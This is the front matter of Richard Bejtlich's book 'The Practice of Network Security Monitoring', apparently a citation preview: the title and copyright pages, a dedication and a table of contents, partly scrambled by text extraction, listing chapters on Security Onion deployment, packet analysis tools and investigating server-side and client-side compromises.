The Practice of Network Security Monitoring: Understanding Incident Detection and Response [1 ed.] 1593275099, 978-1593275099

Citation preview

THE PR ACTICE OF • •

NET WORK SECURIT Y MONITORING INCIDENT DETECTION A N D RESPONSE

U N D E R S T A N D I N G

RICHARD BEJTLICH

• • •

“An invaluable resource for anyone detecting and responding to security breaches.” —Kevin Mandia, Mandiant CEO

THE PRACTICE OF NETWORK SECURITY MONITORING

THE PRACTICE OF NETWORK SECURITY MONITORING Understanding Incident Detection and Response

by Ri c h a r d B ej t li c h

San Francisco

THE PRACTICE OF NETWORK SECURITY MONITORING. Copyright © 2013 by Richard Bejtlich. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher. Printed in USA First printing 17 16 15 14 13

123456789

ISBN-10: 1-59327-509-9 ISBN-13: 978-1-59327-509-9 Publisher: William Pollock Production Editor: Serena Yang Cover Ilustration: Tina Salameh Developmental Editor: William Pollock Technical Reviewers: David Bianco, Doug Burks, and Brad Shoop Copyeditors: Marilyn Smith and Julianne Jigour Compositor: Susan Glinert Stevens Proofreader: Ward Webber For information on distribution, translations, or bulk sales, please contact No Starch Press, Inc. directly: No Starch Press, Inc. 38 Ringold Street, San Francisco, CA 94103 phone: 415.863.9900; fax: 415.863.9950; [email protected]; www.nostarch.com Library of Congress Cataloging-in-Publication Data Bejtlich, Richard. The practice of network security monitoring : understanding incident detection and response / by Richard Bejtlich. pages cm Includes index. ISBN-13: 978-1-59327-509-9 ISBN-10: 1-59327-509-9 1. Computer networks--Security measures. 2. Electronic countermeasures. I. Title. TK5105.59.B436 2013 004.6--dc23 2013017966

No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it.

This book is for my youngest daughter, Vivian. Now you have a book, too, sweetie!

BRIEF CONTENTS

About the Author . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .xvii Foreword by Todd Heberlein . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xix Preface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxv

PART I: GETTING STARTED Chapter 1: Network Security Monitoring Rationale. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 Chapter 2: Collecting Network Traffic: Access, Storage, and Management. . . . . . . . . . . . . 33

PART II: SECURITY ONION DEPLOYMENT Chapter 3: Stand-alone NSM Deployment and Installation . . . . . . . . . . . . . . . . . . . . . . . . 55 Chapter 4: Distributed Deployment. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 Chapter 5: SO Platform Housekeeping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99

PART III: TOOLS Chapter 6: Command Line Packet Analysis Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 Chapter 7: Graphical Packet Analysis Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135 Chapter 8: NSM Consoles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159

PART IV: NSM IN ACTION Chapter 9: NSM Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185 Chapter 10: Server-side Compromise . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 207 Chapter 11: Client-side Compromise . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235 Chapter 12: Extending SO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 263 Chapter 13: Proxies and Checksums . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 289 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 303 Appendix: SO Scripts and Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 311 Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 335

CONTE NT S IN DE TA IL ABOUT THE AUTHOR

xvii

FOREWORD by Todd Heberlein

xix

PREFACE Audience . . . . . . . . . . . . . . . . . . Prerequisites . . . . . . . . . . . . . . . . A Note on Software and Protocols . Scope. . . . . . . . . . . . . . . . . . . . . Acknowledgments . . . . . . . . . . . .

xxv . . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. .xxvi . xxvii . xxvii . xxviii . .xxix

PART I GETTING STARTED 1 NETWORK SECURITY MONITORING RATIONALE An Introduction to NSM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Does NSM Prevent Intrusions? . . . . . . . . . . . . . . . . . . . . . . . . . . What Is the Difference Between NSM and Continuous Monitoring?. How Does NSM Compare with Other Approaches? . . . . . . . . . . . Why Does NSM Work?. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . How NSM Is Set Up . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . When NSM Won’t Work. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Is NSM Legal? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . How Can You Protect User Privacy During NSM Operations?. . . . . A Sample NSM Test . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . The Range of NSM Data. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Full Content Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Extracted Content Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Session Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Transaction Data. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Statistical Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Metadata . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Alert Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . What’s the Point of All This Data? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . NSM Drawbacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Where Can I Buy NSM? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Where Can I Go for Support or More Information? . . . . . . . . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

3 . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. 4 . 5 . 8 . 9 10 11 12 13 14 15 16 16 19 21 22 24 26 28 30 31 31 32 32

2 COLLECTING NETWORK TRAFFIC: ACCESS, STORAGE, AND MANAGEMENT

33

A Sample Network for a Pilot NSM System . . . . . . . . . . . . . . . . . . . . . . Traffic Flow in a Simple Network . . . . . . . . . . . . . . . . . . . . . . Possible Locations for NSM . . . . . . . . . . . . . . . . . . . . . . . . . . IP Addresses and Network Address Translation . . . . . . . . . . . . . . . . . . . Net Blocks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . IP Address Assignments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Address Translation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Choosing the Best Place to Obtain Network Visibility . . . . . . . . . . . . . . . Location for DMZ Network Traffic . . . . . . . . . . . . . . . . . . . . . . Locations for Viewing the Wireless and Internal Network Traffic . Getting Physical Access to the Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . Using Switches for Traffic Monitoring. . . . . . . . . . . . . . . . . . . . Using a Network Tap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Capturing Traffic Directly on a Client or Server . . . . . . . . . . . . . Choosing an NSM Platform. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Ten NSM Platform Management Recommendations . . . . . . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

33 35 38 39 39 41 42 45 45 45 47 47 48 49 49 51 52

PART II SECURITY ONION DEPLOYMENT 3 STAND-ALONE NSM DEPLOYMENT AND INSTALLATION Stand-alone or Server Plus Sensors? . . . . . . . . . . . Choosing How to Get SO Code onto Hardware . . Installing a Stand-alone System . . . . . . . . . . . . . . Installing SO to a Hard Drive . . . . . . . . . Configuring SO Software. . . . . . . . . . . . Choosing the Management Interface . . . . Installing the NSM Software Components. Checking Your Installation . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

55

4 DISTRIBUTED DEPLOYMENT Installing an SO Server Using the SO .iso Image . . . . SO Server Considerations . . . . . . . . . . . . . Building Your SO Server . . . . . . . . . . . . . . Configuring Your SO Server . . . . . . . . . . . . Installing an SO Sensor Using the SO .iso Image . . . . Configuring the SO Sensor. . . . . . . . . . . . . Completing Setup . . . . . . . . . . . . . . . . . . . Verifying that the Sensors Are Working . . . . Verifying that the Autossh Tunnel Is Working x

Contents in Detail

56 59 59 60 64 66 68 70 74

75 . . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

76 76 77 78 80 81 83 84 84

Building an SO Server Using PPAs . . . . . . . . . . . . . . . . . . . . . . . . . Installing Ubuntu Server as the SO Server Operating System Choosing a Static IP Address . . . . . . . . . . . . . . . . . . . . . . Updating the Software . . . . . . . . . . . . . . . . . . . . . . . . . . . Beginning MySQL and PPA Setup on the SO Server . . . . . . Configuring Your SO Server via PPA . . . . . . . . . . . . . . . . . Building an SO Sensor Using PPAs. . . . . . . . . . . . . . . . . . . . . . . . . Installing Ubuntu Server as the SO Sensor Operating System Configuring the System as a Sensor. . . . . . . . . . . . . . . . . . Running the Setup Wizard . . . . . . . . . . . . . . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

5 SO PLATFORM HOUSEKEEPING Keeping SO Up-to-Date. . . . . . . . . . . . . . Updating via the GUI . . . . . . . . Updating via the Command Line . Limiting Access to SO . . . . . . . . . . . . . . . Connecting via a SOCKS Proxy . Changing the Firewall Policy . . . Managing SO Data Storage . . . . . . . . . . Managing Sensor Storage . . . . . Checking Database Drive Usage. Managing the Sguil Database . . Tracking Disk Usage . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . .

85 85 87 88 89 90 92 92 94 95 98

99 . . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. . . . . . . . . . . .

. 99 100 101 102 103 105 105 106 107 108 108 109

PART III TOOLS 6 COMMAND LINE PACKET ANALYSIS TOOLS SO Tool Categories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . SO Data Presentation Tools . . . . . . . . . . . . . . . . . . . . SO Data Collection Tools . . . . . . . . . . . . . . . . . . . . . . SO Data Delivery Tools . . . . . . . . . . . . . . . . . . . . . . . Running Tcpdump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Displaying, Writing, and Reading Traffic with Tcpdump. Using Filters with Tcpdump . . . . . . . . . . . . . . . . . . . . . Extracting Details from Tcpdump Output. . . . . . . . . . . . Examining Full Content Data with Tcpdump . . . . . . . . . Using Dumpcap and Tshark. . . . . . . . . . . . . . . . . . . . . . . . . . . Running Tshark . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Running Dumpcap. . . . . . . . . . . . . . . . . . . . . . . . . . . Running Tshark on Dumpcap’s Traffic . . . . . . . . . . . . . Using Display Filters with Tshark . . . . . . . . . . . . . . . . . Tshark Display Filters in Action . . . . . . . . . . . . . . . . . .

113 . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

. . . . . . . . . . . . . . .

114 114 115 115 116 117 118 121 122 122 123 123 125 125 127

Contents in Detail

xi

Running Argus and the Ra Client . . . . Stopping and Starting Argus The Argus File Format . . . . . Examining Argus Data . . . . . Conclusion . . . . . . . . . . . . . . . . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

. . . . .

Using Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . Running Wireshark . . . . . . . . . . . . . . . . . Viewing a Packet Capture in Wireshark. . . Modifying the Default Wireshark Layout . . Some Useful Wireshark Features . . . . . . . . Using Xplico . . . . . . . . . . . . . . . . . . . . . . . . . . . . Running Xplico . . . . . . . . . . . . . . . . . . . . Creating Xplico Cases and Sessions . . . . . Processing Network Traffic . . . . . . . . . . . . Understanding the Decoded Traffic . . . . . . Getting Metadata and Summarizing Traffic Examining Content with NetworkMiner. . . . . . . . . . Running NetworkMiner . . . . . . . . . . . . . . Collecting and Organizing Traffic Details. . Rendering Content . . . . . . . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . .

7 GRAPHICAL PACKET ANALYSIS TOOLS

135

8 NSM CONSOLES An NSM-centric Look at Network Traffic . Using Sguil . . . . . . . . . . . . . . . . . . . . . Running Sguil . . . . . . . . . . . . . Sguil’s Six Key Functions . . . . . Using Squert . . . . . . . . . . . . . . . . . . . . Using Snorby. . . . . . . . . . . . . . . . . . . . Using ELSA . . . . . . . . . . . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . .

128 129 129 130 133

136 136 137 137 140 147 147 148 149 150 153 153 154 155 156 157

159 . . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

. . . . . . . .

The Enterprise Security Cycle . . . . . . . . . . . . The Planning Phase . . . . . . . . . . . . The Resistance Phase . . . . . . . . . . . The Detection and Response Phases

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

160 161 161 164 173 174 178 181

PART IV NSM IN ACTION 9 NSM OPERATIONS

xii

Contents in Detail

185 186 187 187 187

Collection, Analysis, Escalation, and Resolution . Collection. . . . . . . . . . . . . . . . . . . . . Analysis . . . . . . . . . . . . . . . . . . . . . . Escalation . . . . . . . . . . . . . . . . . . . . Resolution . . . . . . . . . . . . . . . . . . . . Remediation . . . . . . . . . . . . . . . . . . . . . . . . . Using NSM to Improve Security . . . . . Building a CIRT . . . . . . . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

. . . . . . . . .

10 SERVER-SIDE COMPROMISE

207

Server-side Compromise Defined . . . . . . . . . . . . Server-side Compromise in Action . . . . . . . . . . . Starting with Sguil . . . . . . . . . . . . . . . . Querying Sguil for Session Data . . . . . . Returning to Alert Data. . . . . . . . . . . . . Reviewing Full Content Data with Tshark Understanding the Backdoor . . . . . . . . What Did the Intruder Do? . . . . . . . . . . What Else Did the Intruder Do?. . . . . . . Exploring the Session Data . . . . . . . . . . . . . . . . Searching Bro DNS Logs . . . . . . . . . . . Searching Bro SSH Logs . . . . . . . . . . . Searching Bro FTP Logs . . . . . . . . . . . . Decoding the Theft of Sensitive Data . . . Extracting the Stolen Archive . . . . . . . . Stepping Back . . . . . . . . . . . . . . . . . . . . . . . . . Summarizing Stage 1 . . . . . . . . . . . . . Summarizing Stage 2 . . . . . . . . . . . . . Next Steps . . . . . . . . . . . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . .

11 CLIENT-SIDE COMPROMISE Client-side Compromise Defined . . . . . . . . . . . Client-side Compromise in Action. . . . . . . . . . . Getting the Incident Report from a User Starting Analysis with ELSA . . . . . . . . Looking for Missing Traffic . . . . . . . . . Analyzing the Bro dns.log File . . . . . . . . . . . . . Checking Destination Ports . . . . . . . . . . . . . . . Examining the Command-and-Control Channel . Initial Access . . . . . . . . . . . . . . . . . . Improving the Shell . . . . . . . . . . . . . . Summarizing Stage 1 . . . . . . . . . . . . Pivoting to a Second Victim . . . . . . . . Installing a Covert Tunnel . . . . . . . . . .

188 189 193 195 198 201 202 203 205

208 209 210 211 214 216 218 219 222 224 225 226 228 229 230 231 231 232 232 233

235 . . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

236 237 238 239 243 245 246 250 251 255 256 257 257

Contents in Detail

xiii

Enumerating the Victim . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 259 Summarizing Stage 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261

12 EXTENDING SO Using Bro to Track Executables . . . . . . . . . . . . . . . . . . Hashing Downloaded Executables with Bro . . . Submitting a Hash to VirusTotal. . . . . . . . . . . . Using Bro to Extract Binaries from Traffic. . . . . . . . . . . . Configuring Bro to Extract Binaries from Traffic . Collecting Traffic to Test Bro . . . . . . . . . . . . . . Testing Bro to Extract Binaries from HTTP Traffic Examining the Binary Extracted from HTTP . . . . Testing Bro to Extract Binaries from FTP Traffic . Examining the Binary Extracted from FTP . . . . . Submitting a Hash and Binary to VirusTotal . . . Restarting Bro . . . . . . . . . . . . . . . . . . . . . . . . Using APT1 Intelligence . . . . . . . . . . . . . . . . . . . . . . . Using the APT1 Module . . . . . . . . . . . . . . . . . Installing the APT1 Module . . . . . . . . . . . . . . . Generating Traffic to Test the APT1 Module . . . Testing the APT1 Module . . . . . . . . . . . . . . . . Reporting Downloads of Malicious Binaries. . . . . . . . . . Using the Team Cymru Malware Hash Registry. The MHR and SO: Active by Default . . . . . . . . The MHR and SO vs. a Malicious Download . . Identifying the Binary. . . . . . . . . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

263 . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . .

13 PROXIES AND CHECKSUMS Proxies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Proxies and Visibility . . . . . . . . . . . . . . . . . . . . . Dealing with Proxies in Production Networks . . . . Checksums . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A Good Checksum . . . . . . . . . . . . . . . . . . . . . . A Bad Checksum . . . . . . . . . . . . . . . . . . . . . . . Identifying Bad and Good Checksums with Tshark How Bad Checksums Happen . . . . . . . . . . . . . . Bro and Bad Checksums . . . . . . . . . . . . . . . . . . Setting Bro to Ignore Bad Checksums. . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

CONCLUSION

264 264 264 266 266 267 269 270 272 273 273 275 277 278 280 280 281 283 283 285 286 287 288

289 . . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

289 290 294 294 295 295 296 298 298 300 302

303

Cloud Computing. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 304 Cloud Computing Challenges . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 304 Cloud Computing Benefits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 306

xiv

Contents in Detail

Workflow, Metrics, and Collaboration Workflow and Metrics . . . . . Collaboration . . . . . . . . . . . Conclusion . . . . . . . . . . . . . . . . . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

SO Control Scripts . . . . . . . . . . . . . . . . . . . . . . /usr/sbin/nsm . . . . . . . . . . . . . . . . . . /usr/sbin/nsm_all_del. . . . . . . . . . . . . /usr/sbin/nsm_all_del_quick . . . . . . . . /usr/sbin/nsm_sensor . . . . . . . . . . . . . /usr/sbin/nsm_sensor_add . . . . . . . . . /usr/sbin/nsm_sensor_backup-config . . /usr/sbin/nsm_sensor_backup-data . . . /usr/sbin/nsm_sensor_clean . . . . . . . . /usr/sbin/nsm_sensor_clear. . . . . . . . . /usr/sbin/nsm_sensor_del . . . . . . . . . . /usr/sbin/nsm_sensor_edit . . . . . . . . . /usr/sbin/nsm_sensor_ps-daily-restart . . /usr/sbin/nsm_sensor_ps-restart . . . . . . /usr/sbin/nsm_sensor_ps-start . . . . . . . /usr/sbin/nsm_sensor_ps-status . . . . . . /usr/sbin/nsm_sensor_ps-stop . . . . . . . /usr/sbin/nsm_server . . . . . . . . . . . . . /usr/sbin/nsm_server_add. . . . . . . . . . /usr/sbin/nsm_server_backup-config . . /usr/sbin/nsm_server_backup-data. . . . /usr/sbin/nsm_server_clear . . . . . . . . . /usr/sbin/nsm_server_del . . . . . . . . . . /usr/sbin/nsm_server_edit . . . . . . . . . . /usr/sbin/nsm_server_ps-restart . . . . . . /usr/sbin/nsm_server_ps-start . . . . . . . 